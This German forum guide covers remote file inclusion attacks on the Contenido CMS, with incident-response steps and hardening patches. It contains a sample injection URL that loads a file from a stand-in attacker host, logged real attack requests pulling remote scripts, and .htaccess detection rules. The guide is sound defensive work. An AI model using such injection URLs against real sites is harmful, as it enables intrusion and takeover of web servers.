Hinweis: In diesem Beitrag erhebe ich keinen Anspruch auf Vollständigkeit. Es kann auch sein, dass mir Fehler unterlaufen sind. Sollte dies so sein, so bitte ich euch um entsprechende Hinweise. Ich werde, damit wir alles zusammen haben, die Korrekturen mit Hinweis auf den Korrektor und seinen Beitrag an entsprechender Stelle einarbeiten.
Nun zum Thema:
Die leider oft erfolgreichen Angriffe auf Contenido finden meist statt auf die Versionen 4.4.x oder Versionen, die einen 4.4-Kern haben und auf 4.6. bis Version 15 upgedatet wurden. Der Grund ist eine spezifische Sicherheitslücke in Contenido. Sie betrifft die PHP-Direktive "register_globals". In Contenido ist diese auf "on" gesetzt, sonst funktioniert das CMS nicht. Leider kann auf diesem Weg mit einer GET-Anfrage über die Adresszeile im Browser auch Schad-Code übermittelt werden, mit dem globale Variablen im System überschrieben werden können um so den Hackern freie Bahn zu gewähren (wie das geht, steht etwas weiter unten). Diese Sicherheitslücke muss sich wohl vor nicht allzu langer Zeit in der Hackerszene herumgesprochen haben, denn seitdem wir (mein Geschäftspartner und ich) die Contenido-Installationen unserer Kunden dicht gemacht haben und Angriffe protokollieren (siehe unten) stellen wir fest, dass etwa 5 - 20 Angriffe pro Tag stattfinden, - Tendenz leicht steigend. Deshalb hier eine Gebrauchsanweisung mit ein paar Sicherheitstipps und folgenden Themen:
- 1. Was ist eine URL-Injection und wie findet diese statt?
2. Was kann ich tun, wenn meine Website per URL-Injection gehackt wurde?
3. Contenido gegen URL-Injection schützen
In Wikipedia wird URL-Injection unter "Remote File Inclusion" beschrieben - siehe: http://de.wikipedia.org/wiki/Remote_File_Inclusion. Hierbei wird (Zitat Wikipedia) "eine Sicherheitslücke in PHP-basierten Webanwendungen, die es einem Angreifer ermöglicht, unkontrolliert Programmcode auf dem Webserver auszuführen" ausgenützt. - Hierzu ergänzt Forennutzer wosch (siehe sein Beitrag weiter unten): "Ausführen hört sich so zahm an ... außerdem muß das Programm/Code ja erstmal auf dem Server gespeichert sein. Üblicherweise wird bei einem Angriff erstmal eine php-Shell gespeichert, und ist die drauf kann einfach weiterer Programmcode über eine upload-Funktion nachgeladen werden, sowie vorhadene Files editiert und beleibig geändert werden." Die Angreifer wollen auf diesem Weg möglichst schnell die Kontrolle über euer System kriegen, um es so für ihre eigenen, oft auch kriminellen Zwecke zu missbrauchen.
In Contenido könnt ihr einen Angriff einfach simulieren, indem ihr eure Website mal selbst "hackt". Dazu gebt ihr in die Adresszeile eures Browsers z.B. folgendes Beispiel ein:
Code: Alles auswählen
http://www.zu-testende-adresse.de/front_content.php?cfg[path][includes]=http://www.angreifersite.de/datei.txt?
Wenn ihr in der zu testenden Website die Datei seht, die ihr per "?cfg[path][includes]=" eingebunden habt, dann ist die Website nicht sicher!
2. Was kann ich tun, wenn meine Website per URL-Injection gehackt wurde?
Wenn ihr gehackt wurdet, teilt ihr die Kontrolle über euer System mit jemandem, mit dem ihr nichts zu tun haben, geschweige denn "teilen" wollt. Ihr müsst also die vollständige Kontrolle zurück erlangen. Dies ist leider unangenehm, unpassend und aufwändig, da arbeits- und zeitintensiv. Und so richtig honoriert euch niemand eure Mühen, denn euer Kunde wird von der schlechten Nachricht nicht begeistert sein ( - auch der Provider nicht, falls er es mitkriegt). Dennoch, auch wenn es weh tun könnte:
Informiert euren Kunden so früh wie möglich darüber, dass seine Site gehackt wurde und sagt ihm was ihr als nächstes tun werdet! Nur so könnt ihr das Vertrauen eures Kunden in euch stärken oder aufrecht erhalten. Die nachfolgenden Maßnahmen erfordern, dass das System eures Kunden für einige Zeit gar nicht oder nur eingeschränkt betriebsbereit ist. Dafür muss er Verständnis haben und dies mittragen.
Sobald Ihr also mitkriegt, dass die Site gehackt wurde, bleibt ruhig, keine Panik. Es gilt:
- a.) alle Inhalte auf dem Server inclusive Schaddateien und Protokolle (als Beweismaterial) sowie die Datenbank zu sichern,
b.) zu überprüfen, was passiert ist,
c.) den ursprünglichen Zustand vor dem Angriff wieder herzustellen und
d.) zu vermeiden, dass die Site erneut gehackt wird.
Um den Schaden festzustellen und auch weil ihr die Inhalte auf dem Server für die weiteren Schritte benötigt, solltet ihr den gesamten Server sichern und eine Datenbanksicherung (Datenbank-Export) vornehmen. Die Inhalte des Web-Account könnt ihr z.B. per FTP in ein (sicheres) Verzeichnis auf euren Rechner laden. Achtung: Hier können auch fiese Viren unter den Dateien sein! Macht das nur, nachdem ihr euren Virenscanner auf den neuesten Stand gebracht habt. Wenn sich der Virenscanner meldet, dann löscht den Virus nicht, sondern verschiebt ihn in das Quarantäneverzeichnis des Virenscanners, denn er kann evtl. als Beweismaterial noch eine Rolle spielen.
zu b.) Schaden überprüfen:
Schaddateien sind all jene Dateien, die nicht zu Contenido gehören und nicht nachträglich von euch aufgespielt wurden. Ihr erkennt sie an einem neueren Änderungsdatum, einer veränderten Dateigröße oder beidem. Dies können z.B. *.txt-Dateien sein, eine httpd, errors.php,... Sie finden sich oft in den Verzeichnissen ../contenido/logs, ../contenido/cronjobs, ../contenido/external/frontend. Es macht Sinn, wenn ihr euch die Schaddateien, die ihr findet, näher anschaut (mit Vorsicht, da evtl. Viren), um - falls möglich, - nachzuvollziehen, was der Hacker gemacht oder bezweckt hat, - auch für den Fall, dass ihr oder euer Kunde überlegt, Strafanzeige zu stellen. Auch ein Blick in die Sicherungsdatei der Datenbank lohnt an dieser Stelle, sofern ihr euch damit auskennt. Die Log-Dateien spielen ebenfalls eine wichtige Rolle. Hier könnt ihr feststellen, wann in etwa und wie der Angriff erfolgte. Am besten in den Server-Logs nach der Zeile "cfg[path]" suchen. Wenn ihr regelmäßige Backups gefahren habt, dann könnt ihr davon ausgehen, dass alle Backups ab diesem Datum ebenfalls schadhaft sind.
Eine detaillierte Überprüfung aller vom Server heruntergeladenen Dateien lohnt zu diesem Zeitpunkt nicht. Konzentriert euch bei der überprüfung auf die von euch nachträglich aufgespielten Dateien, wie Bilder, Downloads (-> upload-Verzeichnis) oder Scripte, die ihr hochgeladen habt, denn ihr werdet im nächsten Schritt Contenido bzw. den Server "plattmachen" müssen.
Nachdem ihr euch einen Überblick verschafft habt, solltet ihr den ganzen heruntergeladenen Stand in ein Extra-Verzeichnis als Beweismaterial sichern, am besten gezippt, dann können mögliche Viren nicht so einfach ausgeführt werden und bei euch einen Schaden anrichten.
zu c.) ursprünglichen Zustand wieder herstellen:
Euer System wurde kompromittiert! Ein kompromittiertes System MUSS vollständig entfernt und neu aufgesetzt werden. Dies ist aufwändig, aber nötig. Versucht also nicht, jene Schaddateien, die ihr gefunden habt einfach vom Server zu löschen, denn:
- 1.) kann es sein, dass ihr etwas übersehen habt,
2.) ist ein ausführliches Überprüfen aller Dateien weit aufwändiger und dauert länger, als das Löschen und neu Aufsetzen des Systems (und ihr könnt nie ganz sicher sein, dass ihr nicht doch was übersehen habt - siehe 1.)
3.) haben Hacker oft noch einen Trick auf Lager, an den ihr nicht gedacht habt,
Nachdem ihr nun vom Server alles gelöscht habt, stellt ihr das System wieder her. Auf die genaue Vorgehensweise bei einer Neuinstallation und worauf ihr achten müsst, wenn ihr eure eigenen Dateien wieder zurückspielt möchte ich an dieser Stelle nicht näher eingehen (sprengt den Rahmen). Hierzu gibt es aber einiges an Hilfestellung in diesem Forum. Grundsätzlich aber soviel: Ihr installiert Contenido in jener Version neu, die vorher auf dem Server vorhanden war. Achtet bitte darauf, dass ihr eine saubere Version habt, die von den offiziellen Downloadstellen stammt. Dies kann die Hauptversion 4.4 mit gepatchten Sicherheitslücken sein oder wenn ihr eine 4.6.x-Version hattet, sind dies die Versionen 4.6.8.5 oder 4.6.15. Anschließend importiert ihr die vorher exportierte Datenbank wieder zurück, denn ihr wollt ja die Inhalte der Website auch wieder haben. Macht dies aber erst nachdem ihr sicher gestellt habt, dass eure Datenbank nicht vom Angriff betroffen war. Und schließlich spielt ihr noch die eigenen (sauberen) Dateien auf den Server.
zu d.) erneutes Hacken vermeiden:
Wenn der Web-Account wieder sauber ist, beginnt ihr mit den Sicherheitvorkehrungen. Dies sind zum einen allgemeine Vorkehrungen, die euer Provider für euch machen kann (wenn er es kann...) zum anderen sind dies Maßnahmen, die ihr treffen solltet; - wie und welche, steht im Anschluß.
3. Contenido gegen URL-Injection schützen
Wenn ihr glaubt, noch nicht gehackt worden zu sein, solltet ihr dies überprüfen, wie unter 2. geschildert. Erst wenn ihr sicher seid, dass euer Webspace sauber ist, solltet ihr mit den Schutzmaßnahmen beginnen. Dies sind:
a.) allgemeine Maßnahmen und
b.) Dinge die ihr tun könnt.
zu a):
Als erste Maßnahme bittet euren Provider in der VirtualHost-Konfiguration eurer Domain die PHP-Direktive: php_admin_value allow_url_fopen auf "off" zu setzen. Wenn er das machen kann, dann sind die nachfolgenden Schritte unter b.) in gewissem Umfang Fleißarbeit.
Meist weigern sich die Provider aber, die Direktive allow_url_fopen auf "off" zu setzen, mit der Begründung, sie wüssten nicht, was dann bei den anderen Kunden im Shared Hosting passiert. Hier müsst ihr selbst ran.
zu b.) Contenido selbst schützen:
Hierzu gibt es 3 Möglichkeiten:
- 1. Ihr fahrt ein Update auf eine neuere Version (4.6.) inkl. ModRewrite - Bundle,
2. Ihr seid gute Entwickler und schreibt ein PHP-Script, das fremde URLs nicht zuläßt und baut es in Contenido an die entsprechenden Stellen ein.
3. Ihr schützt den Webspace und Contenido mit Hilfe von .htaccess-Datei(en).
Ein Update auf eine neuere Version kann viele Probleme lösen. Nachteil hierbei: Es ist mit einigem Aufwand verbunden, eure Version upzudaten, zu testen und anzupassen und ihr müsst eure Kunden neu in Contenido schulen. Außerdem besteht das Risiko, dass Verzeichnisse und/oder Dateien aus der alten Version übrigbleiben, die trotzdem nicht ganz sicher sind (Kandidat hierfür die Datei news.php unter ../contenido/external/frontend). Dass eure Kunden von dieser Idee nicht immer begeistert sein werden, liegt auf der Hand: Wer bezahlt das Ganze? Mit welchen Ausfällen ist zu rechnen?
Wenn ihr euch für ein Update auf eine 4.6.15-er Version entschließt, dann nehmt auf jeden Fall das ModRewrite - Contenido Bundle mit, das Forenmitglied stese auf seiner Website zum Download >> anbietet. Dieses Bundle nutzt die Rewrite-Engine des Server und erzeugt suchmaschinenfreundliche URLs. Dadurch bringt es schon automatisch ein großes Stück Sicherheit gegen URL-Injection mit: Eine manuell eingegebene URL, wie unter 1. beschrieben, wird von diesem Contenido nicht erkannt. Die Site kann nicht mehr so einfach gehackt werden!
Eine ModRewrite-Lösung für die Version 4.6.23 gibt es ebenfalls seit neuestem - siehe diesen Thread >> , allerdings konnte ich beim Überfliegen nicht feststellen, ob sie inzwischen auch bei Upgrades erfolgreich funktioniert. Am besten testen und ggf. Feedback im Thread posten.
zu 2. ein eigenes PHP-Script, das fremde URLs nicht zuläßt:
Je nachdem, wie tief ihr in die Materie einstegt, kann dies aufwändig sein. Es verändert Contenido, so dass spätere Updates nicht so einfach möglich sind und der Anpassungsaufwand hoch ist. Bei umfangreichen Änderungen braucht ihr hierfür eine geeignete Testumgebung, denn am laufenden System so etwas zu machen, ist nicht wünschenswert. Weiterhin bleibt auch hier die Frage offen: Wer bezahlt den Aufwand? Zum Glück gibt es aber auch eine relativ einfache Lösung:
Sie steht in diesem Thread: http://www.contenido.org/forum/viewtopic.php?t=10672 im Beitrag von goach (2. Seite oben) und betrifft Contenido 4.4.(5 - und weitere). Auch in 4.6.4 (ggf. auch weitere) funktioniert sie - siehe: http://contenido.org/forum/viewtopic.php?p=66712#66712 (- ebenfalls goach).
zu 3. Webspace und Contenido mit Hilfe von .htaccess-Datei(en) schützen:Habe die Lücken (hoffentlich) manuell in 4.4.5 geschlossen und in die Files:
contenido/classes/class.inuse.php
contenido/classes/class.htmlelements.php
conlib/local.php
contenido/external/frontend/news.php
contenido/includes/include.con_subnav.php (auch in 4.6.4!)
contenido/includes/include.grouprights_subnav.php (auch in 4.6.4)
contenido/includes/include.logs.php
contenido/includes/include.newsletter_edit.php
contenido/includes/include.recipients_edit.php
contenido/includes/include.right_top_blank.php (auch in 4.6.4)
contenido/includes/include.rights_subnav.php (auch in 4.6.4)
contenido/includes/include.subnav.php (auch in 4.6.4)
contenido/includes/include.tpl_subnav.php (auch in 4.6.4)
contenido/includes/pseudo-cron.inc.php (indirekt über crontab.txt?, auch in 4.6.4)
mit dem einfachen Eintrag in den jeweils ersten Zeilen:Code: Alles auswählen
if ( $_REQUEST['cfg'] ) { exit; } // workaround remote hacking exploit
Mein Geschäftspartner hat eine Kombination aus .htaccess-Datei und PHP-Datei entwickelt, die den Webspace schützt und die Angriffe protokolliert. Die .htaccess-Datei soll in dem Verzeichnis stehen, wo sich Eure front_content.php befindet, z.B. ../cms/front_content.php. Sie wurde vom Forenmitglied smac (Danke an dieser Stelle) angepasst (siehe Thread: http://www.contenido.org/forum/viewtopi ... m&start=45) und sieht so aus:
Code: Alles auswählen
<IfModule mod_rewrite.c>
RewriteEngine on
# achtung bitte basisverzeichnis anpassen!
RewriteBase /cms/
# detect url injection in query string
RewriteCond %{REQUEST_URI} !^attackmsg.php.* [NC]
RewriteCond %{QUERY_STRING} ^.*ftp://.*$ [NC,OR]
RewriteCond %{QUERY_STRING} ^.*http[s]*://.*$ [NC]
RewriteRule ^(.*)$ attackmsg.php?attack_request=/$1 [L,NS,QSA]
#Anweisungen für das URL-Rewriting von stese
</IfModule>
Evtl. müsst ihr im Script bestimmte URLs ausschließen. Hirzu wieder smac:
Code: Alles auswählen
# ausnahmen für verzeichnisse der mod_rewrite regel:
# verzeichnisse ausschließen
RewriteRule ^verzeichnis1/.*$ - [L]
Die .htaccess-Datei nutzt die Rewrite-Engine des Apache und reagiert, wenn in der URL-Zeile im Browser irgendwelche externen Webadressen (HTTPs oder FTPs) stehen. Wenn ja, dann macht es dicht und ruft eine PHP-Datei namens "attackmsg.php" auf, die den Angriff registriert und in eine Log-Datei schreibt, um ihn zu protokollieren. Die PHP-Datei müsst ihr erstellen und in das gleiche Verzeichnis, wie die .htaccess-Datei aufspielen. Sie hat folgende Code-Zeilen:
Code: Alles auswählen
<?
/************************************************************
* author : Thomas Hörnke, h3:: PartG
* copyright : h3:: hagemann henning hörnke PartG, Thomas Hörnke
* created : 29.10.2007
************************************************************/
/* hier bitte den konkreten Serverpfad für das Contenido Log-Verzeichnis eintragen */
$log = 'verzeichnis/unterverzeichnis/logs/_attack.log';
$ip = $_SERVER['REMOTE_ADDR'];
$msg = "Possible url injection attack from IP $ip:\n"
. preg_replace('/&/', '?', $_SERVER['QUERY_STRING'], 1)."\n";
error_log(date('[Y-m-d H:i:s] ').$msg, 3, $log);
?>
<?= $ip ?> - your attack has been logged and will be prosecuted.<br>
Make my day ...
Ob das Ganze gleich funktioniert, könnt ihr wie oben unter 1. beschrieben austesten. Wenn ja, dann könnte eure Log-Datei wie folgt aussehen:
[2007-10-31 01:46:34] Possible url injection attack from IP 71.105.211.83:
attack_request=/index.php?idcat=http://cherrygirl.h18.ru/images/cs.txt?
[2007-10-31 04:02:11] Possible url injection attack from IP 71.96.235.120:
attack_request=/index.php?idcat=http://amyru.h18.ru/images/cs.txt?
(Dies ist ein kurzer Auszug aus den von uns geloggten Angriffen.)
Achtung: Diese Vorgehensweise per .htaccess-Datei und PHP-Datei klappt nur, wenn das Rewriting des Servers einwandfrei auch im Zusammenspiel mit der PHP-Engine funktioniert, denn darauf fußt das Ganze!
Leider haben wir beim Provider Hosteurope die unangenehme Erfahrung gemacht, dass im Zusammenspiel von Rewriting des Servers mit PHP 4 durch die vorherrschende Konfiguration ein Fehler auftrat. Der Aufruf einer Folgeseite im Browser nach dem Aufruf der Startseite zeigte plötzlich in Mozilla den PHP-Code der Folgeseite an. In solchen Fällen solltet ihr, wie oben unter 2. "ein eigenes PHP-Script..." beschrieben, das Code-Schnipsel in die entsprechenden Dateien einbauen (s.o.).
Ergänzenden Schutz bietet es, wenn ihr noch eine .htaccess-Datei erstellt mit dem Inhalt:
Code: Alles auswählen
deny from all
- - contenido/cronjobs
- contenido/external/frontend
- contenido/locale
- contenido/logs
- contenido/plugins
- contenido/usage (nur Version 4.6.15)
- contenido/xml
So, und nun viel Erfolg!